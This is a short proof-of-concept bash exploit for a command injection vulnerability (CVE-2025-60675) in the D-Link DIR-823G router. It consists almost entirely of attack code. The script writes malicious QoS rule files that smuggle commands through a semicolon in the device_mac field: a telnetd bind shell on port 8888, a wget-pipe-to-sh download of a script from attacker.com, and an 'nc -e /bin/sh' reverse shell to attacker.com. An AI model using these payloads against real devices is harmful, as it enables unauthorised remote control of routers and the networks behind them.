D-Link DIR-823G路由器命令注入漏洞 (CVE-2025-60675)

#!/bin/bash # CVE-2025-60675 PoC - D-Link DIR-823G Command Injection # Target: D-Link DIR-823G Router # Firmware: DIR823G_V1.0.2B05_20181207.bin # Vulnerability: Command injection in /tmp/new_qos.rule processing # This PoC demonstrates how to inject commands via malicious QoS rule file # The injected commands will be executed by the vulnerable timelycheck/sysconf binaries TARGET_IP="192.168.0.1" MALICIOUS_QOS_FILE="/tmp/new_qos.rule" # Create malicious QoS configuration file with command injection payload # The semicolon (;) allows command chaining in shell cat > "$MALICIOUS_QOS_FILE" << 'EOF' device_mac=00:11:22:33:44:55;telnetd -p 8888 -l /bin/sh bandwidth_up=1000 bandwidth_down=2000 priority=high EOF # Alternative injection using command substitution cat > "$MALICIOUS_QOS_FILE" << 'EOF' device_mac=00:11:22:33:44:55;$(wget http://attacker.com/shell.sh -O -|sh) bandwidth_up=1000 bandwidth_down=2000 EOF # Alternative: Reverse shell payload cat > "$MALICIOUS_QOS_FILE" << 'EOF' device_mac=00:11:22:33:44:55;nc -e /bin/sh attacker.com 4444 bandwidth_up=1000 bandwidth_down=2000 EOF echo "[*] Malicious QoS rule file created: $MALICIOUS_QOS_FILE" echo "[*] The file contains command injection payload" echo "[*] When timelycheck or sysconf processes this file, injected commands will execute"